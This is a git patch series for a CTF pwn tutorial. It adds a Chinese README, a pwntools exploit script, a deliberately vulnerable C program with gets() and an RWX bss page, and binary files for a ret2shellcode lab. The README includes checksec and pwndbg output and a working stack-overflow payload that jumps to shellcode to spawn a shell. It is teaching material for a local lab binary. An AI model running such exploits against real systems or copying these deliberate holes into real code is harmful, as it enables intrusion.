From 1e8727f3d173aaff574174512b621035a3de6096 Mon Sep 17 00:00:00 2001 From: Hailin Zheng Date: Sat, 31 Jan 2026 23:12:13 +0800 Subject: [PATCH 1/2] Add README for ret2shellcode example with mprotect --- .../ret2shellcode/ret2shellcode-new/README.md | 174 ++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/README.md diff --git a/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/README.md b/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/README.md new file mode 100644 index 0000000..c973116 --- /dev/null +++ b/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/README.md @@ -0,0 +1,174 @@ +### 另一个例子 + +这里我们以通过`mprotect()`动态修改过内存页权限的 ret2shellcode 为例,需要注意的是,这样我们就可以在例如 Ubuntu-22.04 这样的现代操作系统中完成这个实验辣~。 + +> 点击下载: [ret2shellcode](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode) + +首先检测程序开启的保护: + +```shell +# zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26] +$ checksec ret2shellcode +[*] '/home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX unknown - GNU_STACK missing + PIE: No PIE (0x400000) + Stack: Executable + RWX: Has RWX segments + SHSTK: Enabled + IBT: Enabled + Stripped: No +``` + +可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。接下来我们再使用 IDA 对程序进行反编译: + +```C +int __fastcall main(int argc, const char **argv, const char **envp) +{ + int v3; // eax + char src[104]; // [rsp+0h] [rbp-70h] BYREF + void *addr; // [rsp+68h] [rbp-8h] + + setvbuf(stdout, 0, 2, 0); + setvbuf(stdin, 0, 1, 0); + addr = (void *)((unsigned __int64)buf2 & -getpagesize()); + v3 = getpagesize(); + if ( mprotect(addr, v3, 7) >= 0 ) + { + puts("No system for you this time !!!"); + printf("buf2 address: %p\n", buf2); + gets(src); + strncpy(buf2, src, 0x64u); + printf("bye bye ~"); + return 0; + } + else + { + perror("mprotect failed"); + return 1; + } +} +``` + +可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。 + +```asm +.bss:00000000004040A0 buf2 db 68h dup(?) ; DATA XREF: main+51↑o +.bss:00000000004040A0 ; main+A4↑o ... +``` + +这时,我们简单的调试下程序,看看这一个 bss 段是否可执行(由于是通过mprotect来修改权限的,那自然断点下在mprotect被调用后的地址啦)。 + +```shell +pwndbg> b *0x401291 +Breakpoint 1 at 0x401291 +pwndbg> r +Starting program: /home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". + +Breakpoint 1, 0x0000000000401291 in main () +LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA +────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────── + RAX 0 + RBX 0 + RCX 0x7ffff7d1eb1b (mprotect+11) ◂— cmp rax, -0xfff + RDX 7 + RDI 0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403e20 (_DYNAMIC) ◂— 1 + RSI 0x1000 + R8 0x7ffff7e1bf10 (initial+16) ◂— 4 + R9 0x7ffff7fc9040 (_dl_fini) ◂— endbr64 + R10 0x7ffff7c082e0 ◂— 0xf0022000056ec + R11 0x202 + R12 0x7fffffffde58 —▸ 0x7fffffffe0fd ◂— '/home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode' + R13 0x401216 (main) ◂— endbr64 + R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011e0 (__do_global_dtors_aux) ◂— endbr64 + R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 + RBP 0x7fffffffdd40 ◂— 1 + RSP 0x7fffffffdcd0 ◂— 1 + RIP 0x401291 (main+123) ◂— test eax, eax +─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────── + ► 0x401291 test eax, eax 0 & 0 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ] + 0x401293 ✔ jns main+149 + ↓ + 0x4012ab lea rax, [rip + 0xd66] RAX => 0x402018 ◂— 'No system for you this time !!!' + 0x4012b2 mov rdi, rax RDI => 0x402018 ◂— 'No system for you this time !!!' + 0x4012b5 call puts@plt + + 0x4012ba lea rax, [rip + 0x2ddf] RAX => 0x4040a0 (buf2) + 0x4012c1 mov rsi, rax RSI => 0x4040a0 (buf2) + 0x4012c4 lea rax, [rip + 0xd6d] RAX => 0x402038 ◂— 'buf2 address: %p\n' + 0x4012cb mov rdi, rax RDI => 0x402038 ◂— 'buf2 address: %p\n' + 0x4012ce mov eax, 0 EAX => 0 + 0x4012d3 call printf@plt +──────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────── +00:0000│ rsp 0x7fffffffdcd0 ◂— 1 +01:0008│-068 0x7fffffffdcd8 ◂— 1 +02:0010│-060 0x7fffffffdce0 —▸ 0x400040 ◂— 0x400000006 +03:0018│-058 0x7fffffffdce8 —▸ 0x7ffff7fe283c (_dl_sysdep_start+1020) ◂— mov rax, qword ptr [rsp + 0x58] +04:0020│-050 0x7fffffffdcf0 ◂— 0x6f0 +05:0028│-048 0x7fffffffdcf8 —▸ 0x7fffffffe0d9 ◂— 0xb0ec6c6b3dbd55d3 +06:0030│-040 0x7fffffffdd00 —▸ 0x7ffff7fc1000 ◂— jg 0x7ffff7fc1047 +07:0038│-038 0x7fffffffdd08 ◂— 0x10101000000 +────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────── + ► 0 0x401291 main+123 + 1 0x7ffff7c29d90 __libc_start_call_main+128 + 2 0x7ffff7c29e40 __libc_start_main+128 + 3 0x401155 _start+37 +────────────────────────────────────────────────────────────────────────────────────────────────────────────── +pwndbg> vmmap +LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA + Start End Perm Size Offset File (set vmmap-prefer-relpaths on) + 0x400000 0x401000 r--p 1000 0 ret2shellcode + 0x401000 0x402000 r-xp 1000 1000 ret2shellcode + 0x402000 0x403000 r--p 1000 2000 ret2shellcode + 0x403000 0x404000 r--p 1000 2000 ret2shellcode + 0x404000 0x405000 rwxp 1000 3000 ret2shellcode + 0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6 + 0x7ffff7c28000 0x7ffff7dbd000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6 + 0x7ffff7dbd000 0x7ffff7e15000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6 + 0x7ffff7e15000 0x7ffff7e16000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6 + 0x7ffff7e16000 0x7ffff7e1a000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6 + 0x7ffff7e1a000 0x7ffff7e1c000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6 + 0x7ffff7e1c000 0x7ffff7e29000 rw-p d000 0 [anon_7ffff7e1c] + 0x7ffff7fad000 0x7ffff7fb0000 rw-p 3000 0 [anon_7ffff7fad] + 0x7ffff7fbb000 0x7ffff7fbd000 rw-p 2000 0 [anon_7ffff7fbb] + 0x7ffff7fbd000 0x7ffff7fc1000 r--p 4000 0 [vvar] + 0x7ffff7fc1000 0x7ffff7fc3000 r-xp 2000 0 [vdso] + 0x7ffff7fc3000 0x7ffff7fc5000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 + 0x7ffff7fc5000 0x7ffff7fef000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 + 0x7ffff7fef000 0x7ffff7ffa000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 + 0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 + 0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 + 0x7ffffffde000 0x7ffffffff000 rwxp 21000 0 [stack] +``` + +这里也是一样通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限: + +```text +0x404000 0x405000 rwxp 1000 3000 ret2shellcode +``` + +思路和上一个例子是相同的 + +最后的 payload 如下: + +```python +#!/usr/bin/env python3 +from pwn import * +context.binary = './ret2shellcode' +context.log_level = 'debug' +io = process('./ret2shellcode') + +buf2_addr = 0x4040a0 +shellcode = asm(shellcraft.sh()) + +payload = shellcode.ljust(100, b'\x90') +payload = payload.ljust(120, b'a') +payload += p64(buf2_addr) + +io.sendline(payload) +io.interactive() +``` From b1ed2912913e19252a97dacbe9d59e526300b2f0 Mon Sep 17 00:00:00 2001 From: Hailin Zheng Date: Sat, 31 Jan 2026 23:13:27 +0800 Subject: [PATCH 2/2] Add a new ret2shellcode example. --- .../ret2shellcode/ret2shellcode-new/exp.py | 16 +++++++++++ .../ret2shellcode-new/ret2shellcode | Bin 0 -> 16376 bytes .../ret2shellcode-new/ret2shellcode.c | 25 ++++++++++++++++++ .../ret2shellcode-new/ret2shellcode.i64 | Bin 0 -> 24576 bytes 4 files changed, 41 insertions(+) create mode 100644 pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/exp.py create mode 100644 pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/ret2shellcode create mode 100644 pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/ret2shellcode.c create mode 100644 pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/ret2shellcode.i64 diff --git a/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/exp.py b/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/exp.py new file mode 100644 index 0000000..96e16d5 --- /dev/null +++ b/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/exp.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python3 +from pwn import * + +context.binary = './ret2shellcode' +context.log_level = 'debug' +io = process('./ret2shellcode') + +buf2_addr = 0x4040a0 +shellcode = asm(shellcraft.sh()) + +payload = shellcode.ljust(100, b'\x90') +payload = payload.ljust(120, b'a') +payload += p64(buf2_addr) + +io.sendline(payload) +io.interactive() \ No newline at end of file diff --git a/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/ret2shellcode b/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/ret2shellcode new file mode 100644 index 0000000000000000000000000000000000000000..db5f8ae1e3e699968757187329ec20a2baebbc93 GIT binary patch literal 16376 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 Mjzxoy;8Vpv0GWvDBLDyZ literal 0 HcmV?d00001 diff --git a/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/ret2shellcode.c b/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/ret2shellcode.c new file mode 100644 index 0000000..4424a2b --- /dev/null +++ b/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/ret2shellcode.c @@ -0,0 +1,25 @@ +#include +#include +#include +#include + +char buf2[100]; + +int main(void){ + setvbuf(stdout, 0LL, 2, 0LL); + setvbuf(stdin, 0LL, 1, 0LL); + + unsigned long page_start = (unsigned long)buf2 & ~(getpagesize() - 1); + if(mprotect((void*)page_start, getpagesize(), PROT_READ | PROT_WRITE | PROT_EXEC) < 0){ + perror("mprotect failed"); + return 1; + } + + char buf[100]; + printf("No system for you this time !!!\n"); + printf("buf2 address: %p\n", buf2); + gets(buf); + strncpy(buf2, buf, 100); + printf("bye bye ~"); + return 0; +} \ No newline at end of file diff --git a/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/ret2shellcode.i64 b/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-new/ret2shellcode.i64 new file mode 100644 index 0000000000000000000000000000000000000000..abb67ca8679bcc636e3c5df53b6a84be50a3ed9f GIT binary patch literal 24576 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 